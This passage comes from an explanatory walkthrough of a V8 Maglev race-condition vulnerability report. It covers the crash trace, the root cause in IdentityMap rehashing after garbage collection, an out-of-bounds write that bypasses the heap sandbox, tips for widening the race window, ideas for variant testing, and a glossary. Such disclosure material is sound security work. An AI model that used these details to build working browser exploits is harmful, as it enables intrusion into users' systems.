/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7ffff7d46353]
Line by line:
Fatal error in ../../src/objects/fixed-array-inl.h, line 160says where the fatal error was raised: in the code that implements fixed size arrays.Debug check failed: IsInBounds(index).is the actual complaint: a check that an index lies inside the array failed. The index was out of bounds.FailureMessage Object: 0x7fffee2ebab8is an address of an internal message object.==== C stack trace ===============================begins the list of function calls that led to the crash, newest first.- The first entries are V8's own error reporting helpers:
StackTrace,PrintStackTraceIfAvailable,V8_Fatal,V8_Dcheck. TaggedArrayBase<...TrustedWeakFixedArray...>::set(...)is the low level array write that noticed the bad index.DeoptimizationLiteralArray::set(int, ...)is the array of deopt literals being written to.MaglevCodeGenerator::GenerateDeoptimizationData(...)is the function from the code above, the one that allocates the array and copies into it.BuildCodeObject,AssembleandMaglevCompiler::Compileshow the compilation pipeline.MaglevCompilationJob::ExecuteJobImpl,OptimizedCompilationJob::ExecuteJob,MaglevConcurrentDispatcher::JobTask::Run,DefaultJobWorker::Runand the thread functions show that this all happened on a background worker thread, exactly as the race requires.- The last two lines are the operating system's thread library starting the thread.
The author notes that the PoC can be refined further, for example by having multiple background threads run Maglev optimisation jobs concurrently, or by adding more deoptimization points to trigger additional Safepoint() + BuildLazyDeopt() cycles and widen the race window. Due to limited time and resources, the author only demonstrated the existence of the vulnerability and did not pursue further exploitation.
Root cause
The mistake is the ID assignment *res.entry = deopt_literals_->size() - 1, which assumes deopt_literals_ never shrinks. The map can shrink because IdentityMap::Rehash() drops duplicate keys, and duplicates are created by the shortcut strings optimisation in Mark-Compact GC: several ThinString keys with different addresses are forwarded to the same actual pointer, so after Rehash() they collapse into one entry. The IDs already handed out for the removed entries then exceed the new size, and GenerateDeoptimizationData() allocates literals with the smaller size but writes using the old IDs as indices.
The race window exists because EmitDeopts() calls heap()->Safepoint() before each BuildLazyDeopt(), and the main thread can run a Mark-Compact GC at that safe point while the Maglev background thread is still building deopt data.
The author dates the two ingredients: shortcut strings was introduced on 11/30/2017 in commit [redacted], and IdentityMap<int, base::DefaultAllocationPolicy> deopt_literals_; was introduced on 10/19/2022 in commit [redacted]. A commit is a recorded change in a code repository. The vulnerability has therefore existed since at least 2022.
Impact
The report describes two primitives. A primitive in security means a small, reliable capability that a more complex attack can be built on.
- Out of bounds write in Trusted Space.
raw_literalsis allocated in Trusted Space, so this OOB write can directly bypass the V8 heap sandbox. Trusted Space is a region of V8's memory reserved for objects the engine itself relies on, kept apart from ordinary JavaScript objects. The V8 heap sandbox is a protective boundary that is meant to stop a bug in ordinary JavaScript objects from reaching more sensitive memory; writing in Trusted Space sidesteps that boundary. - Incorrect deoptimization. During deoptimization the runtime accesses
raw_literalsto retrieve the object corresponding to an ID, causing an OOB read ofraw_literalsand deoptimization with an incorrect object. An out of bounds read is the mirror image of the write: reading past the end of an array.
The author did not pursue further exploitation, so the report does not demonstrate a full exploit chain. The race is hard to win: when executed directly the probability is less than 1%, and with the usleep patch it rises to approximately 20%.
Fix
The only code change shown is the author's own debugging patch that adds usleep(500) to widen the race window, which is not a fix.
Variants to test
- Look for other
IdentityMapusers that store IDs derived fromsize() - 1and are populated across a safepoint. A positive result is a map whose size decreases after a Mark-Compact GC while previously assigned IDs are still in use. - Look for other places where shortcut strings can make distinct keys collapse to the same pointer. A positive result is a map with duplicate keys after GC that loses entries on
Rehash(). - Look for other compiler stages that call
Safepoint()between recording indices and allocating the array those indices address. A positive result is an index that exceeds the allocated array length at write time. - Run the PoC with several background compilation threads and more deoptimization points, as the author suggests, to see whether the crash rate rises without the
usleeppatch.
Reporter credit: 303f06e3.
Glossary
- BigInt: JavaScript's numeric type for whole numbers too large for ordinary numbers.
- Bytecode: simple numbered instructions produced from source code, executed by an interpreter.
- Commit: a recorded change in a code repository, identified by a hash.
- Compiler: a program that turns code into instructions the processor can run directly.
- Constant: a fixed value in code, such as a number or a string, that does not change at runtime.
- Debug build: a version of software compiled with extra internal checks switched on.
- Deoptimization: abandoning optimised compiled code mid run and continuing in the interpreter, rebuilding its workspace exactly.
- Diff: a patch showing which lines were added to and removed from a file.
- Engine: the part of a browser that understands and runs a language; Chrome's JavaScript engine is V8.
- Feedback: notes V8 keeps about how code has behaved, used to decide how to optimise it.
- Frame: the workspace a running function keeps, holding its local variables and register contents.
- Garbage collector (GC): the part of a runtime that finds unused objects and frees or moves them.
- Heap: the area of memory where a program's objects live.
- IdentityMap: a lookup table mapping an object pointer to a number.
- Ignition: V8's interpreter, which executes bytecode one instruction at a time.
- Interpreter: a program that executes instructions one at a time without compiling them to machine code first.
- Internalising a string: placing a string in a single shared table so identical strings can be recognised quickly.
- JIT (just in time): compiling code while the program runs rather than beforehand.
- Lazy deoptimization: a deoptimization deferred until the compiled code reaches a safe point.
- Maglev: V8's mid tier optimising compiler, sitting between the interpreter and the most aggressive optimiser.
- Major GC: a full garbage collection of the whole heap.
- Mark-Compact GC: a GC style that marks live objects, then moves the survivors together to squeeze out free space.
- Out of bounds read/write: reading from or writing to memory outside the intended array or buffer.
- PoC (proof of concept): a small program that demonstrates a bug.
- Primitive: a small, reliable capability that a larger attack can be built on.
- Race condition: a bug where the result depends on the timing of two things running at once.
- Register: a tiny, very fast storage slot inside the processor.
- Rehash: rebuilding a lookup table's internal layout so lookups still work after keys have moved.
- Safepoint: a moment where a thread pauses at a known place so the runtime can safely do work such as GC.
- SeqString: V8's ordinary, contiguous string representation.
- Shell (d8): a bare program that runs JavaScript without a browser around it.
- ThinString: a small stand-in string object that points at the real string text.
- Thread: an independent line of execution within a program; two threads can run at the same time.
- Trusted Space: a region of V8 memory reserved for objects the engine itself relies on, kept apart from ordinary JavaScript objects.
- V8 heap sandbox: a protective boundary meant to stop bugs in ordinary JavaScript objects from reaching more sensitive memory.
- Value node: Maglev's internal representation of a value in the code it is compiling.
- VRP (Vulnerability Reward Program): a scheme that pays people for finding and reporting security bugs.